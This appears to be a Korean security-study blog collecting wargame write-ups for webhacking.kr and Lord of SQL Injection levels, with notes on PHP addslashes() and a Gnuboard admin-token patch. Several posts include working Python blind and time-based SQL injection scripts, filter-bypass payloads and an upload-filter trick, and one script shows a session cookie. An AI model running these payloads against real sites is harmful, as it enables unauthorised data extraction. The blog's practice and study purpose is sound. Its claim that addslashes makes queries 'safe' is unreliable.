첫화면은 제출과 Auth로 나누어 져 있다.

우선 1을 넣어보니 1값이 나온다.

그리고 2는 0이 나오고 여러 값들은 다 0이 나온다.

그래서 1 or 2를 넣어보니

no hack가 뜬다.

1or2를 넣으면 0이 나오는 데 띄워쓰기를 안하면 안먹히는 것 같다.

소스는 별 다를 게 없다.

그래서 %0a로 띄워쓰기를 우회 하니 or 가 먹힌다.



select 또한 0으로 나오는 것으로 봐서는

필터링은 안되어 있는 것 같다.

우선 flag의 갯수를 알아보니 위하여 count로 flag의 갯수 1로 넣어보니

0이 나온다. 아니라는 뜻 인것 같다,

그런데 2에서 1이 나오는 것으로 봐서는 2개가 flag 값으로 있는 것 같다.

그래서

no=if((select%0amin(lenght(flag))%0aprob13password%0a)in%0a(4),1,0)에서 4 자리에 계속 숫자를 넣다보니

짧은 flag는 4자리에서 나왔다.

반대로



no=if((select%0amax(lenght(flag))%0aprob13password%0a)in%0a(20),1,0)

에서 긴 자리의 flag가 나왔다.

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amax(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

            

    print(answer)

이렇게 max로 코드를 짜서 

파이썬으로 돌려보면

이렇게 이상하게 4자리가 계속 나온다.


반대로

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amin(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

     print(answer)

이렇게 min으로 짜주면

max값이 나온다.

그 이유는 알수가 없다.

하지만 긴 flag값을 인증하면

13번도 클리어!!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18

첫 화면은 이런 파일을 선택해서 제출하는 형식이다.

소스를 보면 file을 file타입으로 input하는 것 외에는 특이점이 없고

힌트가 파일 타입으로 나와있다.

burp suite로 패킷을 잡아보니

filename으로 보내고 content-type이 있다.

이때 힌트에 나온 type과 같다고 생각해서 type을 text로 넣어보니 

잘못된 파일이라고 나온다.

그래서 file이름또한 text로 넣어보니

이런 페이지가 나오지만 정답은 아닌 듯 하다.

그래서 웹쉘에 관해서 찾아보니

웹쉘은 공격자가 웹서버에 명령을 수행 할 수 있도록 작성한 웹스크립트 파일으로

php,asp,jsp,cgi 등으로 만들어진 파일을 업로드 하는 방식이라고 한다.

그래서 파일을 php로 보내봤지만

이렇게 access denied이 뜬다.

그래서 아까 되던 text로 보내보니

43번도 클리어!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18
Webhacking.kr 35번  (0) 2018.01.18

드디어 Lord Of Sql Injection을 올 클리어 했다.

처음 푸는 워게임이라 많은 시간이 들었다.

이제 los는 올 클리어다!!!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS 23번  (0) 2018.01.23
LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27

대망의 마지막 문제.

umaru 이다.

소스를 분석하자면 reset_flag함수는 md5로 암호시킨 값의 8번째 자리부터 16개를 뽑아서 new_flag로 만들어 주고

그 값을 los_id와 함께 prob_umaru 테이블로 만들어 준다.


그리고 본문으로 들어와서

우리는 get방식으로 flag변수를 받는다.

그리고 이 변수는 preg_match로 필터링 해줄 것이고

100글자를 넘어서도 안된다.

그리고 우리가 flag로 넣어주는 값과 reset_flag로 만들어준 new_flag값이 같으면

풀리고 아니면 다시 reset_flag함수로 값을 바꿔버린다.

즉 우리는 새로운 값으로 만들어 주지않게 하면서 답을 알아내어야 하는 것이다.

우리는 flag값을 알아내어야 함으로 blind sql injection을 해야하지만

error를 통해 얻어지는 페이지나 반응이 없기 때문에

우리는 time-based sql injection을 사용해야 할 것이다.


처음에 16자리 라는 것은 쉽게 알 수 있다.

하지만 쿼리문을 만들기 상당히 힘든 것을 알 수 있다.

우선 우리는 error를 내어서 reset시키지 않아야 하고 

반응을 이끌어 내어야 하기 때문에

sleep함수를 사용해야 한다.


import urllib.request

import time


if __name__ == "__main__":

    answer = ''

    time2=3

    code = [num for num in range(48,58)]+[num for num in range(97,103)]

    head = {'Cookie':'PHPSESSID= 각자의 쿠키값','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

    for i in range(1,17):

        for j in code:

            start = time.time()

            req = urllib.request.Request("http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=(select 1 union select sleep(3*(flag like %27"+answer+str(chr(j))+"%%27)))",headers=head)

            data = urllib.request.urlopen(req).read()

            end = time.time()

            time1 = end-start

            print(str(chr(j)),time1)

            if time1 > time2:

                print(i,chr(j))

                answer += str(chr(j))

                print(answer)

                break;


이렇게 짜면 sleep시간이 참일 때에만 3초간의 delay가 발생한다.

이 시간을 이용해서 참 값을 알아낼 수 있다.


드디어 대망의 올 클리어!!!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS ALL CLEAR  (0) 2018.01.23
LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27

간만에 LOS를 풀게되었다.


우선 소스를 보면 IF, CASE WHEN등이 막혀있고

select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'

의 쿼리문에 pw가 get방식으로 들어간다.

그리고 결국 암호문을 알아내어서 pw를 입력해야 클리어 하는 구조.


우선 %27을 넣으니 아무화면도 안뜬다.

보니 여기는 에러가 나면 아무 화면도 안뜨는 것으로 판단할 수 있다.

보통 참일 때는 그냥 화면이 뜬다.

우선 

pw문에

pw='or (id='admin' and (select length(pw)=8 union select 1))#를 넣어서 길이를 알아내고

import urllib.request

import re


if __name__ == "__main__":

    code = [num for num in range(33,127)]

    head = {'Cookie':'__cfduid=d62a3d60e5d1fcac55aa9500fa25c73de1516581774; PHPSESSID=vbafd946rt7cbv1i37v9tfon03','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

    for i in range(1,9):

        for j in code:

            req = urllib.request.Request("http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20or%20(id=%27admin%27%20and%20(select%20substr(pw,"+str(i)+",1)=%27"+str(chr(j))+"%27%20union%20select%201))%23",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("query",data)    

            if find:

                print(i,"->",chr(j))

이 파이썬 3으로 짠 소스로 blind sqlinjection으로 알아내면 된다.

소스를 짜는 것은 blind sqlinjection은 한번 짜놓으면 조금씩 수정해 놓을 수 있어서 좋다.



22번도 클리어!!!

'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS ALL CLEAR  (0) 2018.01.23
LOS 23번  (0) 2018.01.23
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27

string addslashes ( string $str )


single quote (')

double quote (")

backslash (\)

NUL (the NUL byte)


위의  기호들을 \을 붙여서 return해주는 함수로, 대개 sql injection등을 방어할 때에 효과적으로 쓰인다.


예)

"'hello world"'   ->  \"\'hello world\'\"


<?php
$str = "Who's Peter Griffin?";
echo $str . " This is not safe in a database query.<br>";
echo addslashes($str) . " This is safe in a database query.";
?>



--->


Who's Peter Griffin? This is not safe in a database query.
Who\'s Peter Griffin? This is safe in a database query.


'함수들' 카테고리의 다른 글

isset() 함수  (0) 2018.02.01
strtolower()함수  (0) 2018.01.10
trim()함수  (0) 2018.01.10
getenv()함수  (0) 2018.01.10
alert()함수  (0) 2018.01.08

SQL INJECTION문제라고 적어 놓았다.

우선 1을 제출하니 ZZIBONG이라는 단어가 뜬다.

먼저 소스를 보니 index.phps로 가라고 한다.

소스를 보니 get으로 lv의 값을 받는다.

그리고 그 값들은 eregi로 필터링을 거치고 난 후에

select id from members where lv = $_GET[lv]; 쿼리문에 쓰인다.

이때 뽑아낸 id가 admin이면

성공!

일단은 and 와 or는 막혀있기 떄문에

&가 되는지 확인하니 된다.

|또한 막혀있지않다.

우선 1||id=admin으로 뚫어보려고 했으나 반응이 없고

char로 뚫어도 뚫리지 않았다.


그렇게만 떴다

그래서 hex로 도전했지만 실패...


그래서 lv값을 2로 hex로 도전하니

49번도 클리어!!!




'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 53번  (0) 2018.01.18
Webhacking.kr 35번  (0) 2018.01.18
Webhacking.kr 48번  (0) 2018.01.17

그누보드의 취약점 수정(17.12.12)부분


그누보드는 adm/member_list_update.php에

check_admin_token();

함수를 추가했다.


그렇다면 우선 check_admin_token()함수를 찾아보자.

// POST로 넘어온 토큰과 세션에 저장된 토큰 비교

function check_admin_token()

{

    $token = get_session('ss_admin_token');

    set_session('ss_admin_token', '');


    if(!$token || !$_REQUEST['token'] || $token != $_REQUEST['token'])

        alert('올바른 방법으로 이용해 주십시오.', G5_URL);


    return true; 


소스를 보면

get_session과 set_session의 함수를 쓰고 있다.

또한 token은 get_session으로 값을 받는다.

마지막으로 token값이 없거나 _REQUEST['token']값이 없거나 둘이 다를 경우

경고문이 뜬다.


그렇다면 get_session함수와 set_session함수를 찾아보자.

// 세션변수 생성

function set_session($session_name, $value)

{

    if (PHP_VERSION < '5.3.0')

        session_register($session_name);

    // PHP 버전별 차이를 없애기 위한 방법

    $$session_name = $_SESSION[$session_name] = $value;

}



// 세션변수값 얻음

function get_session($session_name)

{

    return isset($_SESSION[$session_name]) ? $_SESSION[$session_name] : '';

}


set_session함수는 session_name과 value로 값을 받는다.

받은 session_name값을 session_register()에 넣어주는데 

이 함수는 하나 이상의 전역 변수를 세션에 등록해 주는 역할을 한다.

그리고 밑의 $$session_name=$_SSESION[$session_name]=$value는 버전 차이를 없애 준다고 한다.


get_session함수는 session_name을 받아

세션에 session_name변수가 존자하면 그 값을 return시켜준다고 한다.


그렇다면 check_admin_token함수는 

ss_admin_token값이 존재하는지를 확인하고

존재하는지 있으면 그 값을 없으면 0을 token에 저장한 뒤

request로 현재의 token과 비교하여

접속자가 실제의 권한을 가진사람인지를 확인 해 주는 역할을 하는 것으로 판단 되어 진다.


이 토큰을 확인 해 주는 이유는 


Session Hijacking 때문일 것으로 생각된다.


Session Hijacking이란 

보통 밑의 그림처럼 Web Client 와 Web Server가 인증을 맺고 통신을 한다.

하지만 밑의 그림처럼 공격자가

토큰을 중간에 가로챈다면

이는 해킹을 할 수 있는 여지를 준 것이다.

탈취 되어진 토큰으로 공격자가 인증을 하면 그 페이지는 아마

토큰의 주인 여기서는 admin의 페이지로 보여지게 될 것이다.

다음페이지를 넘어간다면 토큰의 검사를 하지않고 다른 인증도 없다면

매우 취약할 것 이므로

페이지에서 토큰검사를 하고 가는 것 으로 보여진다.


+ Recent posts